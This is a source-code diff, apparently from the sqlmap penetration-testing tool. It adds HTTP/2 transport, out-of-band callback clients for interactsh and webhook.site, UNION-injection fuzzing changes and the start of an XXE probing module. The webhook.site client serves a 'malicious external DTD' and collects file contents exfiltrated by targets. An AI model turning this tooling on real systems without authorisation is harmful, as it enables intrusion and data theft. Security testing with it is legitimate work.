proxy_host, proxy_port, proxy_cred = proxy
raw = socket.create_connection((proxy_host, proxy_port), timeout=timeout)
try:
request = "CONNECT %s:%d HTTP/1.1\r\nHost: %s:%d\r\n" % (host, port, host, port)
if proxy_cred:
token = base64.b64encode(proxy_cred.encode("latin-1")).decode("ascii")
request += "Proxy-Authorization: Basic %s\r\n" % token
request += "\r\n"
raw.sendall(request.encode("latin-1"))
response = b""
while b"\r\n\r\n" not in response:
chunk = raw.recv(4096)
if not chunk:
raise IOError("proxy closed the connection during CONNECT")
response += chunk
if len(response) > 65536:
raise IOError("oversized proxy CONNECT response")
status_line = response.split(b"\r\n", 1)[0].decode("latin-1", "replace")
fields = status_line.split(None, 2)
code = int(fields[1]) if len(fields) >= 2 and fields[1].isdigit() else 0
if not (200 <= code < 300):
raise IOError("proxy CONNECT failed: %s" % status_line)
return raw
except Exception:
try:
raw.close()
except Exception:
pass
raise
class _UnprocessedStream(IOError):
"""Raised when the server made it clear our stream was NOT processed (GOAWAY with last-stream-id below
ours), so the request is always safe to retry on a fresh connection."""
class _H2Connection(object):
"""A single HTTP/2 connection reused for sequential (one-stream-at-a-time) requests within a thread.
Multiplexing is intentionally NOT used - one stream is fully consumed before the next is opened - which
preserves request<->response isolation (clean time-based latency, no desync), exactly like the
thread-local HTTP/1.1 keep-alive pool. Reuse amortizes the TCP+TLS+preface cost across all of a thread's
requests to a host. Correctness note: only the HPACK Decoder (server->client dynamic table) is stateful,
so it is kept per-connection and fed responses in order; the Encoder is literal-without-indexing
(stateless), hence a fresh one per request is safe on a reused socket."""
def __init__(self, host, port, proxy, timeout):
self.host, self.port, self.proxy = host, port, proxy
self.dec = Decoder() # persistent server->client HPACK table
self.next_sid = 1 # odd, strictly increasing per RFC 7540
self.usable = True
ctx = ssl._create_unverified_context()
ctx.set_alpn_protocols(["h2"])
self.sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host)
try:
if self.sock.selected_alpn_protocol() != "h2":
raise IOError("server did not negotiate h2 (ALPN=%r)" % self.sock.selected_alpn_protocol())
self.sock.settimeout(timeout)
# connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window
self.sock.sendall(CONNECTION_PREFACE)
self.sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW)))
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535)))
except Exception:
self.close()
raise
def close(self):
self.usable = False
try:
self.sock.close()
except Exception:
pass
def __del__(self):
self.close()
def exchange(self, method, path, authority, headers, body, timeout):
if not self.usable:
raise IOError("HTTP/2 connection no longer usable")
sid = self.next_sid
self.next_sid += 2
if self.next_sid >= BIG_WINDOW: # stream-id space nearly exhausted -> retire after this
self.usable = False
self.sock.settimeout(timeout)
req = [(b":method", _tob(method)), (b":scheme", b"https"), (b":path", _tob(path)), (b":authority", _tob(authority))]
for k, v in (headers or {}).items():
req.append((_tob(k).lower(), _tob(v)))
hblock = Encoder().encode(req)
self.sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, hblock))
if body:
self.sock.sendall(encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body)))
header_block, resp_headers, resp_body, done = b"", None, bytearray(), False
while not done:
ftype, flags, fsid, payload = _read_frame(self.sock)
if ftype == SETTINGS:
if not (flags & FLAG_ACK):
self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b""))
elif ftype == PING:
if not (flags & FLAG_ACK):
self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload))
elif ftype == GOAWAY:
self.usable = False # server won't accept new streams -> retire connection
last_sid = (struct.unpack("!I", payload[4:8])[0] & 0x7fffffff) if len(payload) >= 8 else 0
if sid > last_sid: # our stream was not processed -> safe to retry fresh
raise _UnprocessedStream("GOAWAY (last stream %d) before stream %d was processed" % (last_sid, sid))
elif ftype == RST_STREAM and fsid == sid:
self.usable = False
raise IOError("stream reset by server (error %d)" % struct.unpack("!I", payload[:4])[0])
elif ftype in (HEADERS, CONTINUATION) and fsid == sid:
p = payload
if ftype == HEADERS:
if flags & FLAG_PADDED:
p = p[1:len(p) - bytearray(payload)[0]]
if flags & FLAG_PRIORITY:
p = p[5:]
header_block += p
if flags & FLAG_END_HEADERS:
resp_headers = self.dec.decode(header_block)
if flags & FLAG_END_STREAM:
done = True
elif ftype == DATA and fsid == sid:
p = payload
if flags & FLAG_PADDED:
p = p[1:len(p) - bytearray(payload)[0]]
resp_body += p
if payload: # replenish stream + connection windows
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, sid, struct.pack("!I", len(payload))))
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload))))
if flags & FLAG_END_STREAM:
done = True
status = None
for n, v in (resp_headers or []):
if _tob(n) == b":status":
status = int(v)
break
return status, resp_headers, bytes(resp_body)
# Thread-local pool: one live connection per (host, port, proxy) per thread. Mirrors keepalive.py's model
# (one connection per host per thread) so streams never interleave across threads and time-based
# measurements stay clean.
_h2_pool = threading.local()
def _pooledExchange(host, port, proxy, method, path, authority, headers, body, timeout):
pool = getattr(_h2_pool, "connections", None)
if pool is None:
pool = _h2_pool.connections = {}
key = (host, port, proxy)
conn = pool.get(key)
reused = conn is not None and conn.usable
if not reused:
if conn is not None:
conn.close()
conn = pool[key] = _H2Connection(host, port, proxy, timeout)
try:
result = conn.exchange(method, path, authority, headers, body, timeout)
except _UnprocessedStream: # explicitly not processed -> always safe to retry fresh
conn.close(); pool.pop(key, None)
conn = pool[key] = _H2Connection(host, port, proxy, timeout)
result = conn.exchange(method, path, authority, headers, body, timeout)
except (socket.error, ssl.SSLError, IOError):
conn.close(); pool.pop(key, None)
if reused: # stale keep-alive socket (server closed idle conn) -> reopen once
conn = pool[key] = _H2Connection(host, port, proxy, timeout)
result = conn.exchange(method, path, authority, headers, body, timeout)
else:
raise
if not conn.usable: # GOAWAY / id-exhaustion mid-exchange -> don't keep it pooled
conn.close(); pool.pop(key, None)
return result
def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None):
"""One-shot request on a throwaway connection (kept for direct/back-compat callers; the engine path
goes through open_url -> the reusing pool)."""
conn = _H2Connection(host, port, proxy, timeout)
try:
return conn.exchange(method, path, authority or host, headers, body, timeout)
finally:
conn.close()
class H2Response(object):
"""A urllib-response-compatible wrapper around a native HTTP/2 response, so the rest of sqlmap's
request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()).
>>> r = H2Response('https://x/', 200, [(b':status', b'200'), (b'content-type', b'text/html')], b'body')
>>> (r.code, r.msg, r.read() == b'body', r.geturl())
(200, 'OK', True, 'https://x/')
>>> ':status' in r.info()
False
"""
def __init__(self, url, status, headers, body):
self.url = url
self.code = self.status = status
self.msg = _HTTP_RESPONSES.get(status, "")
self.http_version = "HTTP/2.0"
self._body = body
self._offset = 0
self._info = _Message()
for name, value in (headers or []):
name = name.decode("latin-1") if isinstance(name, bytes) else name
value = value.decode("latin-1") if isinstance(value, bytes) else value
if not name.startswith(":"): # drop HTTP/2 pseudo-headers (:status etc.)
self._info[name] = value
# expose a mimetools.Message-style '.headers' list so patchHeaders() treats this object
# uniformly across Python 2/3 (email.message.Message lacks it, and Python 2 iteration over a
# bare Message falls back to integer indexing)
self._info.headers = ["%s: %s\r\n" % (name, value) for (name, value) in self._info.items()]
def info(self):
return self._info
def geturl(self):
return self.url
def read(self, amt=None):
if amt is None:
data = self._body[self._offset:]
self._offset = len(self._body)
else:
data = self._body[self._offset:self._offset + amt]
self._offset += len(data)
return data
def close(self):
pass
def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True, max_redirects=10, proxy=None):
"""Fetch url over native HTTP/2 (https only), following redirects like a browser (mirroring the
previous httpx follow_redirects=True), and return an H2Response. Raises IOError on a transport or
ALPN-negotiation failure. Connection-level and h2-forbidden request headers are stripped."""
forbidden = ("host", "connection", "keep-alive", "proxy-connection", "transfer-encoding", "upgrade", "content-length")
req_headers = {}
for key in (headers or {}):
name = key.decode("latin-1") if isinstance(key, bytes) else key
if name.lower() not in forbidden:
req_headers[key] = headers[key]
for _ in range(max_redirects + 1):
parts = urlsplit(url)
if parts.scheme != "https":
raise IOError("native HTTP/2 client supports 'https://' targets only (got %r)" % parts.scheme)
path = parts.path or "/"
if parts.query:
path += "?" + parts.query
status, resp_headers, resp_body = _pooledExchange(parts.hostname, parts.port or 443, proxy, method, path,
parts.netloc.split("@")[-1], req_headers, body, timeout)
if follow_redirects and status in REDIRECT_CODES:
location = None
for name, value in (resp_headers or []):
if (name.decode("latin-1") if isinstance(name, bytes) else name).lower() == "location":
location = value.decode("latin-1") if isinstance(value, bytes) else value
break
if location:
url = urljoin(url, location)
if status in (301, 302, 303): # per RFC 7231, these degrade to GET
method, body = "GET", None
continue
return H2Response(url, status, resp_headers, resp_body)
raise IOError("too many HTTP/2 redirects")

175
lib/request/interactsh.py Normal file
View file

@ -0,0 +1,175 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import base64
import json
import time
from lib.core.common import randomStr
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import HTTP_HEADER
from lib.core.settings import OOB_CORRELATION_ID_LENGTH
from lib.core.settings import OOB_INTERACTSH_SERVERS
from lib.core.settings import OOB_NONCE_LENGTH
# The interactsh client needs RSA-OAEP(SHA-256) + AES-256-CTR. pycryptodome is an
# optional dependency (sqlmap already uses it opportunistically in lib/utils/hash.py);
# without it the OOB tier is simply skipped rather than erroring.
try:
from Crypto.Cipher import AES
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
_HAS_CRYPTO = True
except ImportError:
_HAS_CRYPTO = False
def hasCrypto():
return _HAS_CRYPTO
class Interactsh(object):
"""Minimal interactsh client: registers a per-scan RSA key with a public (or
self-hosted) interactsh server, hands out unique callback URLs, and polls for
the DNS/HTTP interactions they trigger. Interactions are RSA/AES encrypted on
the wire and decrypted locally, so the server operator never sees their content.
All HTTP goes through sqlmap's own request stack (proxy/timeout honoured)."""
def __init__(self, server=None, token=None):
self.server = None
self.token = token or conf.get("oobToken")
self.correlationId = randomStr(OOB_CORRELATION_ID_LENGTH, lowercase=True)
self.secret = randomStr(32, lowercase=True)
self.registered = False
self._key = None
self._dnsNonce = None
if not _HAS_CRYPTO:
return
self._key = RSA.generate(2048)
pubKey = getText(base64.b64encode(getBytes(self._key.publickey().export_key(format="PEM"))))
candidates = [server] if server else list(OOB_INTERACTSH_SERVERS)
for candidate in candidates:
if not candidate:
continue
body = json.dumps({"public-key": pubKey, "secret-key": self.secret, "correlation-id": self.correlationId})
if self._request("https://%s/register" % candidate, post=body):
self.server = candidate
self.registered = True
logger.debug("registered with OOB interaction server '%s'" % candidate)
break
def _request(self, url, post=None):
"""Direct request to the interactsh server (a fixed service, never the target).
Self-contained on urllib so it works regardless of sqlmap's request-stack init
order (it is also called during option setup, before getPage is usable); honours
--proxy and tolerates self-signed certs like the rest of sqlmap. Returns the
response body text on success, otherwise None."""
try:
import ssl
try:
from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
except ImportError:
from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"}
if self.token:
headers[HTTP_HEADER.AUTHORIZATION] = self.token
handlers = []
try:
# Verify TLS for the (public, valid-cert) interaction server by default;
# only skip verification when the user has globally opted out (--force-ssl-verify
# off / verifyCert False), matching sqlmap's own TLS posture.
context = ssl.create_default_context()
if conf.get("verifyCert") is False:
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
handlers.append(HTTPSHandler(context=context))
except Exception:
pass
if conf.get("proxy"):
handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy}))
request = _Request(url, data=getBytes(post) if post is not None else None, headers=headers)
response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30)
return getText(response.read())
except Exception as ex:
logger.debug("OOB request to '%s' failed: %s" % (url, getText(ex)))
return None
def url(self):
"""Return a fresh unique callback URL (host = correlationId + nonce)."""
nonce = randomStr(OOB_NONCE_LENGTH, lowercase=True)
return "http://%s%s.%s" % (self.correlationId, nonce, self.server)
def dnsDomain(self):
"""Stable domain suffix (host = correlationId + a fixed nonce) usable as an
exfiltration suffix - additional labels prepended by a payload still resolve
to this correlation id, so every DNS lookup under it is captured."""
if not self._dnsNonce:
self._dnsNonce = randomStr(OOB_NONCE_LENGTH, lowercase=True)
return "%s%s.%s" % (self.correlationId, self._dnsNonce, self.server)
def dnsNames(self):
"""Poll and return the fully-qualified names (minus the server suffix) of the
DNS lookups captured so far, e.g. 'prefix.<hex>.suffix.<correlationId><nonce>'."""
return [_.get("full-id") for _ in self.poll() if _.get("protocol") == "dns" and _.get("full-id")]
def poll(self):
"""Return the list of decrypted interaction records captured so far."""
if not self.registered:
return []
page = self._request("https://%s/poll?id=%s&secret=%s" % (self.server, self.correlationId, self.secret))
if not page:
return []
try:
response = json.loads(page)
except ValueError:
return []
retVal = []
data = response.get("data") or []
if data:
try:
aesKey = PKCS1_OAEP.new(self._key, hashAlgo=SHA256).decrypt(base64.b64decode(response["aes_key"]))
except Exception as ex:
logger.debug("OOB AES key decryption failed: %s" % getText(ex))
return []
for item in data:
try:
raw = base64.b64decode(item)
plain = AES.new(aesKey, AES.MODE_CTR, nonce=b"", initial_value=raw[:AES.block_size]).decrypt(raw[AES.block_size:])
retVal.append(json.loads(getText(plain)))
except Exception as ex:
logger.debug("OOB interaction decryption failed: %s" % getText(ex))
return retVal
def pollUntil(self, attempts, delay):
"""Poll repeatedly, returning as soon as any interaction is captured."""
for _ in range(attempts):
time.sleep(delay)
interactions = self.poll()
if interactions:
return interactions
return []
def close(self):
if self.registered:
body = json.dumps({"correlation-id": self.correlationId, "secret-key": self.secret})
self._request("https://%s/deregister" % self.server, post=body)
self.registered = False

View file

@ -60,6 +60,22 @@ class _KeepAliveHandler(object):
def _give_back(self, key, conn, count):
self._pool.conns[key] = [conn, count, time.time()]
@staticmethod
def _takeTunnelHeaders(req):
"""
Pops the Proxy-Authorization header off L{req} (returning it as a dict) so it rides on the
CONNECT request only and is never forwarded through the tunnel to the origin server, mirroring
the stock C{urllib.request.AbstractHTTPHandler.do_open} tunnel setup
"""
result = {}
for store in (getattr(req, "unredirected_hdrs", None), getattr(req, "headers", None)):
if store:
for name in list(store):
if name.lower() == "proxy-authorization":
result[name] = store.pop(name)
return result
def do_open(self, req):
# Note: 'selector'/'host' attributes on Python 3 (Request.get_host() was deprecated since
# 3.3 and removed in 3.12); the get_*() fallbacks are only reachable under Python 2
@ -68,7 +84,14 @@ class _KeepAliveHandler(object):
if not host:
raise _urllib.error.URLError("no host given")
key = "%s://%s" % (self._scheme, host)
# When routed through an HTTP(s) proxy, ProxyHandler has already rewritten the request: for a
# plain-HTTP target 'host' is the proxy and the selector is absolute; for an HTTPS target
# '_tunnel_host' holds the origin reached via a CONNECT tunnel. Pool by the tunnel origin when
# tunneling (each origin needs its own tunnelled socket) and by 'host' otherwise (one HTTP-proxy
# socket serves many origins, and a direct connection is keyed by its own host exactly as before).
tunnelHost = getattr(req, "_tunnel_host", None)
tunnelHeaders = self._takeTunnelHeaders(req) if tunnelHost else None
key = "%s://%s" % (self._scheme, tunnelHost or host)
conn, count = self._take(key)
reused = conn is not None
@ -93,6 +116,8 @@ class _KeepAliveHandler(object):
if conn is None:
conn = self._get_connection(host)
if tunnelHost:
conn.set_tunnel(tunnelHost, headers=tunnelHeaders or {})
count = 0
self._send_request(conn, req)
response = conn.getresponse()

View file

@ -0,0 +1,92 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import json
from lib.core.data import conf
from lib.core.data import logger
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.enums import HTTP_HEADER
from lib.core.settings import OOB_EXFIL_ENDPOINT
# webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom
# response (our malicious external DTD) AND log the request the target then makes
# (carrying the file content). interactsh cannot host arbitrary content, hence the
# separate backend. HTTP-only, free tier, no account required for basic tokens.
class WebhookSite(object):
"""Thin webhook.site client: mints tokens (optionally serving fixed content)
and reads back the requests captured on them. Self-contained on urllib (like the
interactsh client): sqlmap's getPage caches by URL, which would make repeated
polls of the same /requests URL return a stale snapshot and miss the callback."""
def __init__(self):
# Exfil host is the public content-serving endpoint (its token API is
# service-specific, so --oob-server, which selects the interactsh *detection*
# server, deliberately does not repoint it).
self.endpoint = OOB_EXFIL_ENDPOINT.rstrip('/')
def _api(self, path, post=None):
try:
import ssl
try:
from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
except ImportError:
from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"}
handlers = []
try:
context = ssl.create_default_context()
if conf.get("verifyCert") is False:
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
handlers.append(HTTPSHandler(context=context))
except Exception:
pass
if conf.get("proxy"):
handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy}))
request = _Request("%s%s" % (self.endpoint, path), data=getBytes(post) if post is not None else None, headers=headers)
response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30)
return getText(response.read())
except Exception as ex:
logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex)))
return None
def newToken(self, content=None):
"""Create a token. When `content` is given the token serves it verbatim
(used to host the external DTD). Returns the token UUID or None."""
body = {"default_status": 200}
if content is not None:
body["default_content"] = content
body["default_content_type"] = "application/xml"
page = self._api("/token", post=json.dumps(body))
if page:
try:
return json.loads(page).get("uuid")
except ValueError:
pass
return None
def hostUrl(self, token):
"""Target-facing URL for a token. Plain HTTP - XML parsers (libxml) commonly
cannot fetch https external entities."""
host = self.endpoint.split("://", 1)[-1]
return "http://%s/%s" % (host, token)
def captured(self, token):
"""Return the list of request records captured on `token` (newest first)."""
page = self._api("/token/%s/requests?sorting=newest&per_page=50" % token)
if page:
try:
return json.loads(page).get("data") or []
except ValueError:
pass
return []

View file

@ -38,6 +38,7 @@ from lib.core.enums import FUZZ_UNION_COLUMN
from lib.core.enums import PAYLOAD
from lib.core.settings import FUZZ_UNION_ERROR_REGEX
from lib.core.settings import FUZZ_UNION_MAX_COLUMNS
from lib.core.settings import FUZZ_UNION_MAX_REQUESTS
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
from lib.core.settings import MAX_RATIO
from lib.core.settings import MIN_RATIO
@ -190,12 +191,14 @@ def _fuzzUnionCols(place, parameter, prefix, suffix):
choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True)
random.shuffle(choices)
attempts = 0
for candidate in itertools.product(choices, repeat=kb.orderByColumns):
if retVal:
if retVal or attempts >= FUZZ_UNION_MAX_REQUESTS: # bound the exponential type-combination search
break
elif FUZZ_UNION_COLUMN.STRING not in candidate:
continue
else:
attempts += 1
candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate]
query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix)
@ -332,16 +335,21 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS:
if kb.fuzzUnionTest is None:
msg = "do you want to (re)try to find proper "
msg += "UNION column types with fuzzy test? [y/N] "
msg += "UNION column types with a fuzzy test? [Y/n] "
kb.fuzzUnionTest = readInput(msg, default='N', boolean=True)
kb.fuzzUnionTest = readInput(msg, default='Y', boolean=True)
if kb.fuzzUnionTest:
kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix)
# apply the discovered per-column type template through a normal confirmation so
# the resulting vector (and later extraction) is built with type-compatible columns
if kb.unionTemplate:
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, len(kb.unionTemplate))
warnMsg = "if UNION based SQL injection is not detected, "
warnMsg += "please consider "
if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None:
if not all((validPayload, vector)) and not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None:
message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
if not readInput(message, default='Y', boolean=True):
@ -380,6 +388,8 @@ def unionTest(comment, place, parameter, value, prefix, suffix):
negativeLogic = kb.negativeLogic
setTechnique(PAYLOAD.TECHNIQUE.UNION)
kb.unionTemplate = None # reset any per-column type template carried over from a previous parameter
try:
if negativeLogic:
pushValue(kb.negativeLogic)

View file

@ -62,7 +62,7 @@ from lib.request.connect import Connect as Request
from lib.utils.progress import ProgressBar
from lib.utils.safe2bin import safecharencode
from thirdparty import six
from thirdparty.odict import OrderedDict
from collections import OrderedDict
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted

View file

@ -0,0 +1,8 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
pass

View file

@ -0,0 +1,928 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import re
import time
from lib.core.common import beep
from lib.core.common import dataToOutFile
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import singleTimeWarnMessage
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.dicts import POST_HINT_CONTENT_TYPES
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
from lib.core.settings import ASTERISK_MARKER
from lib.core.settings import XXE_BLACKHOLE_HOST
from lib.core.settings import XXE_ERROR_SIGNATURES
from lib.core.settings import XXE_FILE_HARVEST
from lib.core.settings import XXE_HARDENED_REGEX
from lib.core.settings import XXE_IMPACT_FILES
from lib.core.settings import XXE_SOURCE_NAMES
from lib.core.settings import XXE_WEBROOTS
from lib.core.settings import OOB_POLL_ATTEMPTS
from lib.core.settings import OOB_POLL_DELAY
from lib.core.settings import XXE_LOCAL_DTDS
from lib.core.settings import XXE_TIME_THRESHOLD
from lib.request.connect import Connect as Request
# Fresh per-scan sentinel token. Deliberately a random opaque string (never
# root:x:0:0 or similar) so it cannot collide with a WAF honeypot signature and
# so its presence in a response is unambiguously our reflected/expanded value.
SENTINEL = randomStr(length=12, lowercase=True)
# When the user marked an explicit injection point in the body (e.g. '<n>luther*</n>'),
# it is preserved as this placeholder and used as the SOLE injection spot, instead of
# rewriting every node - so schema/signature/id/auth-sensitive documents stay intact.
_MARKER = None
# Cached answer to the one-time "use a public OOB service?" consent prompt (per scan).
_OOB_CONSENT = None
# First element of the document (skipping the <?xml?> prolog, comments and any
# DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc.
_ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)")
# A leaf text node: >text< with no markup/entities inside. Used to place an
# entity reference where the application is most likely to echo it back.
_TEXTNODE_RE = re.compile(r">(\s*[^<>&\s][^<>&]*)<")
def _looksXml(data):
data = (getText(data) or "").strip()
return data.startswith("<") and re.search(r"<[A-Za-z_?!]", data) is not None and '>' in data
def _toSystemId(path):
"""Normalise a user file path (Unix, Windows, or already a URI) to a file:// systemId,
consistently across every tier."""
p = getText(path or "").strip()
if "://" in p:
return p
return "file:///" + p.replace("\\", "/").lstrip("/")
def _toResource(path):
"""Plain absolute path for a php://filter 'resource=' argument (URI/backslashes stripped)."""
p = getText(path or "").strip()
if p.startswith("file://"):
p = p[len("file://"):]
p = p.replace("\\", "/")
if re.match(r"^/?[A-Za-z]:/", p): # keep a Windows drive path as 'C:/...'
return p.lstrip("/")
return "/" + p.lstrip("/")
def _cleanBody():
"""Return the original request body with sqlmap's injection marks removed.
Order matters: drop the injected custom marks first (any literal '*' from the
original body was already escaped to ASTERISK_MARKER by target processing),
then restore those escaped asterisks."""
global _MARKER
_MARKER = None
data = getText(conf.data or "")
mark = kb.customInjectionMark or "\x00"
if kb.get("processUserMarks") and mark in data:
# user chose the injection point explicitly - honour it as the SOLE spot
_MARKER = "xxemark%s" % randomStr(10, lowercase=True)
data = data.replace(mark, _MARKER, 1).replace(mark, "")
else:
data = data.replace(mark, "")
data = data.replace(ASTERISK_MARKER, "*")
return data.lstrip(u"\ufeff\ufffe") # drop a leading BOM so root/DOCTYPE handling stays correct
def _rootName(xml):
stripped = re.sub(r"<\?.*?\?>", "", xml, flags=re.DOTALL)
stripped = re.sub(r"<!--.*?-->", "", stripped, flags=re.DOTALL)
stripped = re.sub(r"<!DOCTYPE[^>]*(?:\[[^\]]*\])?\s*>", "", stripped, flags=re.DOTALL)
match = _ROOT_RE.search(stripped)
return match.group(1) if match else None
def _auxHeaders():
"""Send an XML content-type unless the user already pinned one (via -H/-r)."""
for name, _ in (conf.httpHeaders or []):
if (name or "").lower() == HTTP_HEADER.CONTENT_TYPE.lower():
return None
return {HTTP_HEADER.CONTENT_TYPE: POST_HINT_CONTENT_TYPES.get(kb.postHint) or "application/xml"}
def _send(body):
"""Issue one request with a fully-crafted XML body, preserving sqlmap's normal
request machinery (URL, cookies, headers, proxy, delay) for everything else."""
if conf.delay:
time.sleep(conf.delay)
if _MARKER and not isinstance(body, bytes) and _MARKER in body:
body = body.replace(_MARKER, "") # strip any unreplaced placeholder before sending
try:
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, getUnicode(body))
page, _, _ = Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(), raise404=False, silent=True)
return page or ""
except Exception as ex:
logger.debug("XXE probe request failed: %s" % getUnicode(ex))
return ""
def _buildDoctype(xml, rootName, internalSubset):
"""Prepend (or extend) a DOCTYPE carrying `internalSubset` into `xml`.
A document may already declare a DOCTYPE - injecting a second one is invalid
XML and every parser rejects it, so we splice into the existing declaration
instead (into its internal subset, or by adding one to a subset-less DOCTYPE)."""
existing = re.search(r"<!DOCTYPE\s+[^>\[]*\[", xml)
if existing:
# Splice our declarations into the existing internal subset.
insertAt = xml.index('[', existing.start()) + 1
return xml[:insertAt] + "\n" + internalSubset + "\n" + xml[insertAt:]
subsetless = re.search(r"<!DOCTYPE\s+[^>\[]*>", xml)
if subsetless:
# DOCTYPE with an external id but no internal subset (e.g. SYSTEM "x.dtd"):
# add an internal subset before its closing '>' (both may legally coexist).
close = xml.index('>', subsetless.start())
return xml[:close] + " [\n" + internalSubset + "\n]" + xml[close:]
doctype = "<!DOCTYPE %s [\n%s\n]>" % (rootName, internalSubset)
prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL)
if prolog:
end = prolog.end()
return xml[:end] + "\n" + doctype + xml[end:]
return doctype + "\n" + xml
def _placeRef(xml, snippet, attrs=False):
"""Insert `snippet` (an entity reference or an XInclude element) into EVERY leaf
text node - not just the first - so detection does not depend on which field the
application happens to reflect. When `attrs` is set (internal-entity tier only),
also seed existing attribute values, since a general internal entity legally
expands inside an attribute (external entity refs do NOT - never seed attributes
for the external/XInclude tiers or the document becomes ill-formed). Falls back to
injecting just before the root's closing tag when there is no text node at all."""
if _MARKER and _MARKER in xml:
return xml.replace(_MARKER, snippet) # honour the user's explicit injection point
start = re.search(r"\]>", xml).end() if "]>" in xml else 0
head, tail = xml[:start], xml[start:]
tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail)
if attrs:
# Seed every attribute value except namespace declarations (xmlns / xmlns:*),
# whose rewriting would break the document. Only touches simple, entity-free
# values (the '[^"\'<>&]*' class) so we never corrupt existing markup.
tail, acount = re.subn(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''',
lambda m: "%s%s%s%s" % (m.group(1), m.group(2), snippet, m.group(2)), tail)
count += acount
if count:
return head + tail
rootName = _rootName(xml)
if rootName:
close = "</%s>" % rootName
if close in xml:
idx = xml.rindex(close)
return xml[:idx] + snippet + xml[idx:]
# self-closing root: <root/> -> <root>snippet</root>
selfClose = re.search(r"<%s\b[^>]*/>" % re.escape(rootName), xml)
if selfClose:
tag = selfClose.group(0)
opened = tag[:-2] + ">" + snippet + close
return xml[:selfClose.start()] + opened + xml[selfClose.end():]
return xml
def _fingerprint(page):
page = getUnicode(page or "")
for family, regex in XXE_ERROR_SIGNATURES:
if re.search(regex, page):
return family
return None
def _echoed(page):
"""True when the response mirrors our markup back (a debug/echo endpoint that
never parses XML). Since our sentinel lives inside the DOCTYPE/ENTITY declaration
we send, an echo would otherwise look like a genuine reflected/error hit. We match
the declaration in raw AND escaped forms (HTML-entity, decimal/hex numeric, and
percent-encoded) so an app that HTML-escapes or URL-encodes the reflected body is
still recognised as an echo regardless of whether decodePage normalised it."""
page = getUnicode(page or "").lower()
for kw in ("!doctype", "!entity"):
